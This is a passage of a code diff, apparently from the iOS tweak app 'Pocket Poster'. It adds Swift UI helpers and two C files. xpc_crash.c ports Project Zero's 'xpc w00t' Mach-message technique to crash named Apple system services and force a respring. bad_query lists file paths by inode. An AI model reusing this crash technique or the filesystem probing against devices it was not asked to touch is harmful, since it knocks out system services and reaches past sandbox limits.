ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
|
||||
if (n <= 0) continue;
|
||||
|
||||
const char *p = buf;
|
||||
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
|
||||
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
|
||||
if (strchr(p + path_length + 1, '/')) continue;
|
||||
|
||||
size_t need = strlen(p) + 2;
|
||||
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
|
||||
length += snprintf(out + length, cap - length, "%s\n", p);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
//
|
||||
// bad_query.h
|
||||
// bad_query
|
||||
//
|
||||
// Created by Taj C on 7/21/26.
|
||||
//
|
||||
|
||||
#ifndef bad_query_h
|
||||
#define bad_query_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
|
||||
char *bad_query_list(char *path, int64_t max_inode);
|
||||
void bad_query_release(int64_t handle);
|
||||
|
||||
#endif /* bad_query_h */
|
||||
@@ -0,0 +1,110 @@
|
||||
//
|
||||
// xpc_crash.c
|
||||
// Pocket Poster
|
||||
//
|
||||
// Ported from Cowabunga / TrollTools helpers.m
|
||||
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
|
||||
//
|
||||
|
||||
#include "xpc_crash.h"
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach-o/dyld.h>
|
||||
|
||||
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
|
||||
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
|
||||
extern mach_port_t bootstrap_port;
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
static mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
return so;
|
||||
}
|
||||
|
||||
void xpc_crasher(char *service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("xpc_crasher: unable to look up %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("xpc_crasher: bad service port for %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
|
||||
} else {
|
||||
printf("xpc_crasher: sent w00t to %s\n", service_name);
|
||||
}
|
||||
|
||||
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
|
||||
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
|
||||
}
|
||||
|
||||
void restartBackboard(void) {
|
||||
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
|
||||
}
|
||||
|
||||
void restartFrontboard(void) {
|
||||
// May not kill the calling app on some versions — caller should exit(0) after.
|
||||
xpc_crasher("com.apple.frontboard.systemappservices");
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// xpc_crash.h
|
||||
// Pocket Poster
|
||||
//
|
||||
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
|
||||
//
|
||||
|
||||
#ifndef xpc_crash_h
|
||||
#define xpc_crash_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
/// Crash an XPC service by name (triggers relaunch of the hosting process).
|
||||
void xpc_crasher(char *service_name);
|
||||
|
||||
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
|
||||
void restartBackboard(void);
|
||||
|
||||
/// Respring via crashing com.apple.frontboard.systemappservices
|
||||
void restartFrontboard(void);
|
||||
|
||||
#endif /* xpc_crash_h */
|
||||
@@ -1,72 +0,0 @@
|
||||
//
|
||||
// Alert++.swift
|
||||
// Cowabunga
|
||||
//
|
||||
// Created by sourcelocation on 30/01/2023.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
|
||||
// credit: sourcelocation & TrollTools
|
||||
var currentUIAlertController: UIAlertController?
|
||||
|
||||
|
||||
fileprivate let errorString = NSLocalizedString("Error", comment: "")
|
||||
fileprivate let okString = NSLocalizedString("OK", comment: "")
|
||||
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
|
||||
|
||||
extension UIApplication {
|
||||
|
||||
func dismissAlert(animated: Bool) {
|
||||
DispatchQueue.main.async {
|
||||
currentUIAlertController?.dismiss(animated: animated)
|
||||
}
|
||||
}
|
||||
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
|
||||
DispatchQueue.main.async {
|
||||
var body = body
|
||||
|
||||
if title == errorString {
|
||||
// append debug info
|
||||
let device = UIDevice.current
|
||||
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
|
||||
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
|
||||
let systemVersion = device.systemVersion
|
||||
body += "\n\(device.systemName) \(systemVersion), version \(appVersion) build \(appBuild)"
|
||||
}
|
||||
|
||||
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) }
|
||||
self.present(alert: currentUIAlertController!)
|
||||
}
|
||||
}
|
||||
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
|
||||
DispatchQueue.main.async {
|
||||
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
if !noCancel {
|
||||
currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel))
|
||||
}
|
||||
currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
|
||||
onOK()
|
||||
}))
|
||||
self.present(alert: currentUIAlertController!)
|
||||
}
|
||||
}
|
||||
func change(title: String = errorString, body: String) {
|
||||
DispatchQueue.main.async {
|
||||
currentUIAlertController?.title = title
|
||||
currentUIAlertController?.message = body
|
||||
}
|
||||
}
|
||||
|
||||
func present(alert: UIAlertController) {
|
||||
if var topController = self.windows[0].rootViewController {
|
||||
while let presentedViewController = topController.presentedViewController {
|
||||
topController = presentedViewController
|
||||
}
|
||||
|
||||
topController.present(alert, animated: true)
|
||||
// topController should now be your topmost view controller
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
//
|
||||
// Reorderable.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/22/25.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
protocol Reorderable {
|
||||
associatedtype OrderElement: Equatable
|
||||
var orderElement: OrderElement { get }
|
||||
}
|
||||
|
||||
extension Array where Element: Reorderable {
|
||||
|
||||
func reorder(by preferredOrder: [Element.OrderElement]) -> [Element] {
|
||||
sorted {
|
||||
guard let first = preferredOrder.firstIndex(of: $0.orderElement) else {
|
||||
return false
|
||||
}
|
||||
|
||||
guard let second = preferredOrder.firstIndex(of: $1.orderElement) else {
|
||||
return true
|
||||
}
|
||||
|
||||
return first < second
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//
|
||||
// URLCache+imageCache.swift
|
||||
// Cowabunga
|
||||
//
|
||||
// Created by sourcelocation on 02/02/2023.
|
||||
//
|
||||
|
||||
import CachedAsyncImage
|
||||
import Foundation
|
||||
|
||||
extension URLCache {
|
||||
|
||||
static let imageCache = URLCache(memoryCapacity: 512*1000*1000, diskCapacity: 10*1000*1000*1000)
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
//
|
||||
// Alert++.swift
|
||||
// Cowabunga
|
||||
//
|
||||
// Created by sourcelocation on 30/01/2023.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
|
||||
// credit: sourcelocation & TrollTools
|
||||
var currentUIAlertController: UIAlertController?
|
||||
var lastDismissTitle: String?
|
||||
|
||||
|
||||
fileprivate let errorString = NSLocalizedString("Error", comment: "")
|
||||
fileprivate let okString = NSLocalizedString("OK", comment: "")
|
||||
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
|
||||
|
||||
extension UIApplication {
|
||||
|
||||
func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) {
|
||||
DispatchQueue.main.async {
|
||||
lastDismissTitle = currentUIAlertController?.title
|
||||
if let alert = currentUIAlertController {
|
||||
// Always clear pointer first so a follow-up present() won't chain on a dying VC
|
||||
currentUIAlertController = nil
|
||||
alert.dismiss(animated: animated) {
|
||||
completion?()
|
||||
}
|
||||
} else {
|
||||
// Also dismiss any orphaned presented alert
|
||||
if let top = Self.topViewController(), top is UIAlertController {
|
||||
top.dismiss(animated: animated) {
|
||||
completion?()
|
||||
}
|
||||
} else {
|
||||
completion?()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
|
||||
// Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet
|
||||
dismissAlert(animated: false) {
|
||||
DispatchQueue.main.async {
|
||||
var body = body
|
||||
|
||||
if title == errorString {
|
||||
// append debug info
|
||||
let device = UIDevice.current
|
||||
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
|
||||
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
|
||||
let systemVersion = device.systemVersion
|
||||
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
|
||||
}
|
||||
|
||||
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
// Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally
|
||||
if withButton {
|
||||
controller.addAction(.init(title: okString, style: .cancel))
|
||||
}
|
||||
currentUIAlertController = controller
|
||||
self.present(alert: controller)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
|
||||
dismissAlert(animated: false) {
|
||||
DispatchQueue.main.async {
|
||||
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
|
||||
if !noCancel {
|
||||
controller.addAction(.init(title: cancelString, style: .cancel))
|
||||
}
|
||||
controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
|
||||
onOK()
|
||||
}))
|
||||
currentUIAlertController = controller
|
||||
self.present(alert: controller)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func change(title: String = errorString, body: String) {
|
||||
DispatchQueue.main.async {
|
||||
currentUIAlertController?.title = title
|
||||
currentUIAlertController?.message = body
|
||||
}
|
||||
}
|
||||
|
||||
/// Top-most VC in the key window (skips being-dismissed alerts when possible).
|
||||
static func topViewController() -> UIViewController? {
|
||||
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
|
||||
let window = scenes
|
||||
.flatMap { $0.windows }
|
||||
.first { $0.isKeyWindow } ?? scenes.first?.windows.first
|
||||
guard var top = window?.rootViewController else { return nil }
|
||||
while let presented = top.presentedViewController {
|
||||
// Prefer not to stop on a controller that is mid-dismiss
|
||||
if presented.isBeingDismissed { break }
|
||||
top = presented
|
||||
}
|
||||
return top
|
||||
}
|
||||
|
||||
func present(alert: UIAlertController) {
|
||||
guard let topController = Self.topViewController() else { return }
|
||||
// If top is already an alert being shown, replace it
|
||||
if let existing = topController as? UIAlertController {
|
||||
existing.dismiss(animated: false) {
|
||||
Self.topViewController()?.present(alert, animated: true)
|
||||
}
|
||||
return
|
||||
}
|
||||
topController.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
//
|
||||
// OpaqueButton.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/21/25.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct OpaqueButton: ButtonStyle {
|
||||
var color: Color
|
||||
var textColor: Color
|
||||
var fullwidth: Bool = false
|
||||
|
||||
func makeBody(configuration: Configuration) -> some View {
|
||||
ZStack {
|
||||
if fullwidth {
|
||||
configuration.label
|
||||
.padding(15)
|
||||
.frame(maxWidth: .infinity)
|
||||
.background(color)
|
||||
.cornerRadius(8)
|
||||
.foregroundColor(textColor)
|
||||
} else {
|
||||
configuration.label
|
||||
.padding(15)
|
||||
.background(color)
|
||||
.cornerRadius(8)
|
||||
.foregroundColor(textColor)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
init(color: Color = .blue, textColor: Color = .primary, fullwidth: Bool = false) {
|
||||
self.color = color
|
||||
self.textColor = textColor
|
||||
self.fullwidth = fullwidth
|
||||
}
|
||||
}
|
||||
File renamed without changes.
@@ -0,0 +1,25 @@
|
||||
//
|
||||
// CornerRadius++.swift
|
||||
// Cowabunga
|
||||
//
|
||||
// Created by sourcelocation on 30/01/2023.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
extension View {
|
||||
func cornerRadius(_ radius: CGFloat, corners: UIRectCorner) -> some View {
|
||||
clipShape( RoundedCorner(radius: radius, corners: corners) )
|
||||
}
|
||||
}
|
||||
|
||||
struct RoundedCorner: Shape {
|
||||
|
||||
var radius: CGFloat = .infinity
|
||||
var corners: UIRectCorner = .allCorners
|
||||
|
||||
func path(in rect: CGRect) -> Path {
|
||||
let path = UIBezierPath(roundedRect: rect, byRoundingCorners: corners, cornerRadii: CGSize(width: radius, height: radius))
|
||||
return Path(path.cgPath)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
//
|
||||
// LoopingPlayerUIView.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/11/25.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import AVFoundation
|
||||
|
||||
class LoopingPlayerUIView: UIView {
|
||||
|
||||
private var playerLayer = AVPlayerLayer()
|
||||
private var playerLooper: AVPlayerLooper?
|
||||
private var player = AVQueuePlayer()
|
||||
|
||||
init(videoURL: URL){
|
||||
let asset = AVAsset(url: videoURL)
|
||||
let item = AVPlayerItem(asset: asset)
|
||||
|
||||
super.init(frame: .zero)
|
||||
|
||||
// Setup the player
|
||||
playerLayer.player = player
|
||||
playerLayer.videoGravity = .resizeAspectFill
|
||||
layer.addSublayer(playerLayer)
|
||||
|
||||
// Create a new player looper with the queue player and template item
|
||||
playerLooper = AVPlayerLooper(player: player, templateItem: item)
|
||||
player.play()
|
||||
}
|
||||
|
||||
required init?(coder: NSCoder) {
|
||||
fatalError("init(coder:) has not been implemented")
|
||||
}
|
||||
|
||||
override func layoutSubviews() {
|
||||
super.layoutSubviews()
|
||||
playerLayer.frame = bounds
|
||||
}
|
||||
}
|
||||
File renamed without changes.
@@ -0,0 +1,23 @@
|
||||
//
|
||||
// PlayerView.swift
|
||||
// Pocket Poster
|
||||
//
|
||||
// Created by lemin on 6/11/25.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct PlayerView: UIViewRepresentable {
|
||||
var videoURL: URL
|
||||
|
||||
init(videoURL: URL) {
|
||||
self.videoURL = videoURL
|
||||
}
|
||||
|
||||
func updateUIView(_ uiView: UIView, context: UIViewRepresentableContext<PlayerView>) {
|
||||
}
|
||||
|
||||
func makeUIView(context: Context) -> UIView {
|
||||
return LoopingPlayerUIView(videoURL: videoURL)
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,169 @@
|
||||
//
|
||||
// File.swift
|
||||
//
|
||||
//
|
||||
// Created by Igor Ferreira on 06/04/2022.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
public extension GIFImage {
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
|
||||
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||
/// - placeholder: Image to be used before the source is loaded
|
||||
/// - errorImage: If the stream fails, this image is used
|
||||
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||
init?(
|
||||
url: String,
|
||||
animate: Bool,
|
||||
loop: Bool,
|
||||
placeholder: RawImage = RawImage(),
|
||||
errorImage: RawImage? = nil,
|
||||
frameRate: FrameRate = .dynamic,
|
||||
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
self.init(
|
||||
url: url,
|
||||
animate: .constant(animate),
|
||||
loop: .constant(loop),
|
||||
placeholder: placeholder,
|
||||
errorImage: errorImage,
|
||||
frameRate: frameRate,
|
||||
loopAction: loopAction
|
||||
)
|
||||
}
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
|
||||
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||
/// - placeholder: Image to be used before the source is loaded
|
||||
/// - errorImage: If the stream fails, this image is used
|
||||
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||
init?(
|
||||
url: String,
|
||||
animate: Binding<Bool> = Binding.constant(true),
|
||||
loop: Binding<Bool> = Binding.constant(true),
|
||||
placeholder: RawImage = RawImage(),
|
||||
errorImage: RawImage? = nil,
|
||||
frameRate: FrameRate = .dynamic,
|
||||
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
guard let resolvedURL = URL(string: url) else {
|
||||
return nil
|
||||
}
|
||||
self.init(
|
||||
source: GIFSource.remoteURL(resolvedURL),
|
||||
animate: animate,
|
||||
loop: loop,
|
||||
placeholder: placeholder,
|
||||
errorImage: errorImage,
|
||||
frameRate: frameRate,
|
||||
loopAction: loopAction
|
||||
)
|
||||
}
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - url: URL of the image. The response is cached using `URLCache`
|
||||
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||
/// - placeholder: Image to be used before the source is loaded
|
||||
/// - errorImage: If the stream fails, this image is used
|
||||
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||
init(
|
||||
url: URL,
|
||||
animate: Bool = true,
|
||||
loop: Bool = true,
|
||||
placeholder: RawImage = RawImage(),
|
||||
errorImage: RawImage? = nil,
|
||||
frameRate: FrameRate = .dynamic,
|
||||
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
self.init(
|
||||
url: url,
|
||||
animate: .constant(animate),
|
||||
loop: .constant(loop),
|
||||
placeholder: placeholder,
|
||||
errorImage: errorImage,
|
||||
frameRate: frameRate,
|
||||
loopAction: loopAction
|
||||
)
|
||||
}
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - url: URL of the image. The response is cached using `URLCache`
|
||||
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||
/// - placeholder: Image to be used before the source is loaded
|
||||
/// - errorImage: If the stream fails, this image is used
|
||||
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||
init(
|
||||
url: URL,
|
||||
animate: Binding<Bool> = Binding.constant(true),
|
||||
loop: Binding<Bool> = Binding.constant(true),
|
||||
placeholder: RawImage = RawImage(),
|
||||
errorImage: RawImage? = nil,
|
||||
frameRate: FrameRate = .dynamic,
|
||||
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
self.init(
|
||||
source: GIFSource.remoteURL(url),
|
||||
animate: animate,
|
||||
loop: loop,
|
||||
placeholder: placeholder,
|
||||
errorImage: errorImage,
|
||||
frameRate: frameRate,
|
||||
loopAction: loopAction
|
||||
)
|
||||
}
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - request: `URLRequest` of the image. The response is cached using `URLCache`
|
||||
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||
/// - placeholder: Image to be used before the source is loaded
|
||||
/// - errorImage: If the stream fails, this image is used
|
||||
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||
init(
|
||||
request: URLRequest,
|
||||
animate: Binding<Bool> = Binding.constant(true),
|
||||
loop: Binding<Bool> = Binding.constant(true),
|
||||
placeholder: RawImage = RawImage(),
|
||||
errorImage: RawImage? = nil,
|
||||
frameRate: FrameRate = .dynamic,
|
||||
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
self.init(
|
||||
source: GIFSource.remoteRequest(request),
|
||||
animate: animate,
|
||||
loop: loop,
|
||||
placeholder: placeholder,
|
||||
errorImage: errorImage,
|
||||
frameRate: frameRate,
|
||||
loopAction: loopAction
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
import SwiftUI
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item. The view will use the `ImageLoader` from the environment
|
||||
/// to convert the fetch the `Data`
|
||||
public struct GIFImage: View {
|
||||
public let source: GIFSource
|
||||
public let placeholder: RawImage
|
||||
public let errorImage: RawImage?
|
||||
private let presentationController: PresentationController
|
||||
|
||||
@Environment(\.imageLoader) var imageLoader
|
||||
@State @MainActor private var frame: RawImage?
|
||||
@Binding public var loop: Bool
|
||||
@Binding public var animate: Bool
|
||||
@State private var presentationTask: Task<(), Never>?
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
|
||||
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
|
||||
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||
/// - placeholder: Image to be used before the source is loaded
|
||||
/// - errorImage: If the stream fails, this image is used
|
||||
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||
public init(
|
||||
source: GIFSource,
|
||||
animate: Bool,
|
||||
loop: Bool,
|
||||
placeholder: RawImage = RawImage(),
|
||||
errorImage: RawImage? = nil,
|
||||
frameRate: FrameRate = .dynamic,
|
||||
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
self.init(
|
||||
source: source,
|
||||
animate: .constant(animate),
|
||||
loop: .constant(loop),
|
||||
placeholder: placeholder,
|
||||
errorImage: errorImage,
|
||||
frameRate: frameRate,
|
||||
loopAction: loopAction
|
||||
)
|
||||
}
|
||||
|
||||
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
|
||||
/// into frames and stream them based in the "Delay" key packaged on which frame item.
|
||||
///
|
||||
/// - Parameters:
|
||||
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
|
||||
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
|
||||
/// - placeholder: Image to be used before the source is loaded
|
||||
/// - errorImage: If the stream fails, this image is used
|
||||
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
|
||||
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
|
||||
public init(
|
||||
source: GIFSource,
|
||||
animate: Binding<Bool> = Binding.constant(true),
|
||||
loop: Binding<Bool> = Binding.constant(true),
|
||||
placeholder: RawImage = RawImage(),
|
||||
errorImage: RawImage? = nil,
|
||||
frameRate: FrameRate = .dynamic,
|
||||
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
|
||||
) {
|
||||
self.source = source
|
||||
self._animate = animate
|
||||
self._loop = loop
|
||||
self.placeholder = placeholder
|
||||
self.errorImage = errorImage
|
||||
|
||||
self.presentationController = PresentationController(
|
||||
source: source,
|
||||
frameRate: frameRate,
|
||||
animate: animate,
|
||||
loop: loop,
|
||||
action: loopAction
|
||||
)
|
||||
}
|
||||
|
||||
public var body: some View {
|
||||
Image.loadImage(with: frame ?? placeholder)
|
||||
.resizable()
|
||||
.scaledToFit()
|
||||
.onChange(of: loop) { newValue in
|
||||
handle(loop: newValue)
|
||||
}
|
||||
.onChange(of: animate) { newValue in
|
||||
handle(animate: newValue)
|
||||
}
|
||||
.task(id: source, load)
|
||||
}
|
||||
|
||||
private func handle(animate: Bool) {
|
||||
if animate {
|
||||
load()
|
||||
} else {
|
||||
presentationTask?.cancel()
|
||||
}
|
||||
}
|
||||
|
||||
private func handle(loop: Bool) {
|
||||
if loop { load() }
|
||||
}
|
||||
|
||||
@Sendable private func load() {
|
||||
presentationTask?.cancel()
|
||||
presentationTask = Task { await presentationController.start(
|
||||
imageLoader: imageLoader,
|
||||
fallbackImage: errorImage ?? placeholder,
|
||||
frameUpdate: setFrame(_:)
|
||||
)}
|
||||
}
|
||||
|
||||
@MainActor
|
||||
@Sendable private func setFrame(_ frame: RawImage) async {
|
||||
self.frame = frame
|
||||
}
|
||||
}
|
||||
|
||||
#if DEBUG
|
||||
let placeholder = RawImage.create(symbol: "photo.circle.fill")!
|
||||
let error = RawImage.create(symbol: "xmark.octagon")
|
||||
let gifURL = "https://raw.githubusercontent.com/igorcferreira/GIFImage/main/Tests/test.gif"
|
||||
#Preview("Raw URL") {
|
||||
